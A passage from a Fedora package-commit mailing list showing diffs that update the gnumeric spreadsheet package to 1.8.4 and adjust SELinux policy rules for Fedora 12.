 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">100 1 1e+10 10 10 10</property>
-		</widget>
+		  <property name="adjustment">100 1 1e+10 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
@@ -689,8 +688,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">30 1 36000 10 10 10</property>
-		</widget>
+		  <property name="adjustment">30 1 36000 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
--
cgit v0.8.2

gnumeric-1.8.4-desktop.patch:
 gnumeric.desktop.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gnumeric-1.8.4-desktop.patch ---
--- gnumeric-1.8.4/gnumeric.desktop.in.desktop	2009-04-13 10:22:21.000000000 +0530
+++ gnumeric-1.8.4/gnumeric.desktop.in	2009-04-13 10:22:51.000000000 +0530
@@ -3,7 +3,7 @@
 _GenericName=Spreadsheet
 _Comment=Calculation, Analysis, and Visualization of Information
 Exec=gnumeric %F_OR_U
-Icon=gnome-gnumeric
+Icon=gnumeric
 Terminal=false
 Type=Application
 Categories=Application;Office;Spreadsheet;Science;Math;GNOME;GTK;


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	8 Mar 2008 20:27:30 -0000	1.7
+++ .cvsignore	20 Oct 2009 22:58:24 -0000	1.8
@@ -1 +1 @@
-gnumeric-1.8.2.tar.bz2
+gnumeric-1.8.4.tar.bz2


Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-10/gnumeric.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- gnumeric.spec	30 Jan 2009 08:34:23 -0000	1.44
+++ gnumeric.spec	20 Oct 2009 22:58:25 -0000	1.45
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
-Version:          1.8.2
-Release:          6%{?dist}
+Version:          1.8.4
+Release:          5%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -9,18 +9,22 @@ Group:            Applications/Productiv
 License:          GPLv2
 URL:              http://www.gnome.org/gnumeric/
 Source:           ftp://ftp.gnome.org/pub/GNOME/sources/%{name}/1.8/%{name}-%{version}.tar.bz2
-Patch0:           gnumeric-1.8.2-desktop.patch
+Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
-Patch2:		  gnumeric-1.8.2-python.patch	
+Patch2:		  gnumeric-1.8.2-python.patch
+Patch3:		  gnumeric-1.8.4-backport-20090129.patch
+Patch4:		  gnumeric-1.8.4-backport-20090309.patch
+Patch5:		  gnumeric-1.8.4-backport-20090314.patch
+Patch6:		  gnumeric-1.8.4-backport-20090430.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
 BuildRequires:    libgsf-gnome-devel >= 1.13.2
-BuildRequires:    libgnomedb-devel >= 3.0.0
+#BuildRequires:    libgnomedb-devel >= 3.0.0
 BuildRequires:    pygtk2-devel >= 2.6.0
 BuildRequires:    goffice-devel >= 0.6.1
 BuildRequires:    python-devel guile-devel perl(XML::Parser) scrollkeeper
-BuildRequires:    gettext desktop-file-utils perl(ExtUtils::Embed)
+BuildRequires:    gettext desktop-file-utils perl(ExtUtils::Embed) intltool
 Requires:         scrollkeeper hicolor-icon-theme
 Requires(pre):    GConf2
 Requires(post):   /sbin/ldconfig GConf2 scrollkeeper
@@ -63,6 +67,11 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
+%patch3 -p1 -b backport-20090129
+%patch4 -p1 -b backport-20090309
+%patch5 -p1 -b backport-20090314
+%patch6 -p1 -b backport-20090430
+
 chmod -x plugins/excel/rc4.?
 
 
@@ -162,8 +171,8 @@ fi
 %{_libdir}/%{name}/%{version}
 %exclude %{_libdir}/%{name}/%{version}/include
 %exclude %{_libdir}/%{name}/%{version}/plugins/perl-*
-%exclude %{_libdir}/%{name}/%{version}/plugins/gdaif
-%exclude %{_libdir}/%{name}/%{version}/plugins/gnome-db
+#%exclude %{_libdir}/%{name}/%{version}/plugins/gdaif
+#%exclude %{_libdir}/%{name}/%{version}/plugins/gnome-db
 %{_datadir}/pixmaps/%{name}
 %{_datadir}/icons/hicolor/48x48/apps/%{name}.png
 %dir %{_datadir}/%{name}
@@ -185,14 +194,35 @@ fi
 %files plugins-extras
 %defattr(-,root,root,-)
 %{_libdir}/%{name}/%{version}/plugins/perl-*
-%{_libdir}/%{name}/%{version}/plugins/gdaif
-%{_libdir}/%{name}/%{version}/plugins/gnome-db
+#%{_libdir}/%{name}/%{version}/plugins/gdaif
+#%{_libdir}/%{name}/%{version}/plugins/gnome-db
 
 
 %changelog
-* Fri Jan 30 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.2-6
-- Resolves CVE-2008-5983
-- Version bump to match the rawhide version
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> 1:1.8.4-5
+- Applied 4 patches from the 1.8 stable branch (#500890, #505001)
+
+* Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-4
+- Resolve rhbz #500890
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.4-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Apr 13 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-2
+- Resolved rhbz #495314
+
+* Tue Apr 07 2009 Robert Scheck <robert at fedoraproject.org> 1:1.8.4-1
+- Upgrade to 1.8.4 (#491769)
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.2-7
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Mon Feb 16 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.2-6
+- Disable gdaif and gnome-db plugins
+- Resolves CVE-2009-5983
+
+* Sun Nov 30 2008 Ignacio Vazquez-Abrams <ivazqueznet+rpm at gmail.com> - 1:1.8.2-5
+- Rebuild for Python 2.6
 
 * Mon Nov 17 2008 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.2-4
 - Version bump


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	8 Mar 2008 20:27:30 -0000	1.7
+++ sources	20 Oct 2009 22:58:25 -0000	1.8
@@ -1 +1 @@
-f60edc6ca42daa2fb3717f3c90fa8a6e  gnumeric-1.8.2.tar.bz2
+338f0084f04a16f78797ad01f85d3251  gnumeric-1.8.4.tar.bz2


--- gnumeric-1.6.1-desktop.patch DELETED ---


--- gnumeric-1.8.2-desktop.patch DELETED ---



From dwalsh at fedoraproject.org  Tue Oct 20 22:59:52 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Tue, 20 Oct 2009 22:59:52 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 booleans-targeted.conf, 1.56,
	1.57 policy-F12.patch, 1.113, 1.114 selinux-policy.spec, 1.946, 1.947
Message-ID: <20091020225952.4E4D811C0081@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25075

Modified Files:
	booleans-targeted.conf policy-F12.patch selinux-policy.spec 
Log Message:
* Tue Oct 20 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-30
- Fixes found for confined users day



Index: booleans-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/booleans-targeted.conf,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- booleans-targeted.conf	15 Oct 2009 20:42:08 -0000	1.56
+++ booleans-targeted.conf	20 Oct 2009 22:59:51 -0000	1.57
@@ -174,6 +174,10 @@ spamd_enable_home_dirs = false
 # 
 user_direct_mouse = false
 
+# Allow regular users direct dri access
+# 
+user_direct_dri = true
+
 # Allow users to read system messages.
 # 
 user_dmesg = false

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    2 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  265 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   66 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   34 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   61 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   31 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   13 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   57 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  184 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   30 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |   11 
 policy/modules/kernel/devices.if          |  255 +++++
 policy/modules/kernel/devices.te          |   25 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 +++++-
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    9 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  411 ++++++++
 policy/modules/roles/unprivuser.te        |  127 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   40 
 policy/modules/services/abrt.te           |   24 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  439 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    8 
 policy/modules/services/ccs.te            |   33 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/clogd.fc          |    4 
 policy/modules/services/clogd.if          |   98 ++
 policy/modules/services/clogd.te          |   62 +
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   19 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   42 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   22 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    2 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.fc          |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.fc          |    1 
 policy/modules/services/lircd.te          |   12 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/milter.if         |    2 
 policy/modules/services/modemmanager.te   |    1 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |   10 
 policy/modules/services/mta.te            |   36 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.if           |   18 
 policy/modules/services/nscd.te           |   17 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 +++++
 policy/modules/services/plymouth.te       |   96 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    8 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   83 +
 policy/modules/services/rhcs.fc           |   22 
 policy/modules/services/rhcs.if           |  348 +++++++
 policy/modules/services/rhcs.te           |  394 ++++++++
 policy/modules/services/ricci.te          |   30 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  284 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   58 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 +
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  160 ++-
 policy/modules/system/libraries.if        |    5 
 policy/modules/system/libraries.te        |   18 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.if              |   39 
 policy/modules/system/lvm.te              |   29 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  229 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1457 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   47 
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 361 files changed, 17039 insertions(+), 2657 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.113
retrieving revision 1.114
diff -u -p -r1.113 -r1.114
--- policy-F12.patch	20 Oct 2009 12:12:58 -0000	1.113
+++ policy-F12.patch	20 Oct 2009 22:59:51 -0000	1.114
@@ -641,7 +641,7 @@ diff -b -B --ignore-all-space --exclude-
  /usr/bin/online_update		--	gen_context(system_u:object_r:rpm_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/rpm.if serefpolicy-3.6.32/policy/modules/admin/rpm.if
 --- nsaserefpolicy/policy/modules/admin/rpm.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/rpm.if	2009-10-20 10:47:48.000000000 -0400
 @@ -13,11 +13,34 @@
  interface(`rpm_domtrans',`
  	gen_require(`
@@ -689,7 +689,7 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_run_loadpolicy(rpm_script_t, $2)
  	seutil_run_semanage(rpm_script_t, $2)
  	seutil_run_setfiles(rpm_script_t, $2)
-@@ -146,6 +174,35 @@
+@@ -146,6 +174,36 @@
  
  ########################################
  ## <summary>
@@ -718,6 +718,7 @@ diff -b -B --ignore-all-space --exclude-
 +	dontaudit $1 rpm_t:shm rw_shm_perms;
 + 	dontaudit $1 rpm_tmpfs_t:dir rw_dir_perms;
 + 	dontaudit $1 rpm_tmpfs_t:file write_file_perms;
++ 	dontaudit $1 rpm_t:tcp_socket rw_socket_perms;
 +')
 +
 +########################################
@@ -725,7 +726,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Send and receive messages from
  ##	rpm over dbus.
  ## </summary>
-@@ -167,6 +224,48 @@
+@@ -167,6 +225,48 @@
  
  ########################################
  ## <summary>
@@ -774,7 +775,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Create, read, write, and delete the RPM log.
  ## </summary>
  ## <param name="domain">
-@@ -186,6 +285,24 @@
+@@ -186,6 +286,24 @@
  
  ########################################
  ## <summary>
@@ -799,7 +800,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Inherit and use file descriptors from RPM scripts.
  ## </summary>
  ## <param name="domain">
-@@ -219,7 +336,51 @@
+@@ -219,7 +337,51 @@
  	')
  
  	files_search_tmp($1)
@@ -851,7 +852,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -241,6 +402,25 @@
+@@ -241,6 +403,25 @@
  	allow $1 rpm_var_lib_t:dir list_dir_perms;
  	read_files_pattern($1, rpm_var_lib_t, rpm_var_lib_t)
  	read_lnk_files_pattern($1, rpm_var_lib_t, rpm_var_lib_t)
@@ -877,7 +878,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  ########################################
-@@ -265,6 +445,47 @@
+@@ -265,6 +446,47 @@
  
  ########################################
  ## <summary>
@@ -925,7 +926,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to create, read, 
  ##	write, and delete the RPM package database.
  ## </summary>
-@@ -283,3 +504,46 @@
+@@ -283,3 +505,46 @@
  	dontaudit $1 rpm_var_lib_t:file manage_file_perms;
  	dontaudit $1 rpm_var_lib_t:lnk_file manage_lnk_file_perms;
  ')
@@ -7310,7 +7311,7 @@ diff -b -B --ignore-all-space --exclude-
  /dev/tty		-c	gen_context(system_u:object_r:devtty_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/terminal.if serefpolicy-3.6.32/policy/modules/kernel/terminal.if
 --- nsaserefpolicy/policy/modules/kernel/terminal.if	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-13 18:05:04.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-20 18:45:22.000000000 -0400
 @@ -196,7 +196,7 @@
  
  	dev_list_all_dev_nodes($1)
@@ -12649,7 +12650,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/local/linuxprinter/ppd(/.*)?      gen_context(system_u:object_r:cupsd_rw_etc_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cups.te serefpolicy-3.6.32/policy/modules/services/cups.te
 --- nsaserefpolicy/policy/modules/services/cups.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-14 10:29:26.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/cups.te	2009-10-20 18:48:38.000000000 -0400
 @@ -23,6 +23,9 @@
  type cupsd_initrc_exec_t;
  init_script_file(cupsd_initrc_exec_t)
@@ -12703,7 +12704,18 @@ diff -b -B --ignore-all-space --exclude-
  
  seutil_read_config(cupsd_t)
  sysnet_exec_ifconfig(cupsd_t)
-@@ -327,7 +338,7 @@
+@@ -317,6 +328,10 @@
+ ')
+ 
+ optional_policy(`
++	snmp_read_snmp_var_lib_files(cupsd_t)
++')
++
++optional_policy(`
+ 	udev_read_db(cupsd_t)
+ ')
+ 
+@@ -327,7 +342,7 @@
  
  allow cupsd_config_t self:capability { chown dac_override sys_tty_config };
  dontaudit cupsd_config_t self:capability sys_tty_config;
@@ -12712,7 +12724,7 @@ diff -b -B --ignore-all-space --exclude-
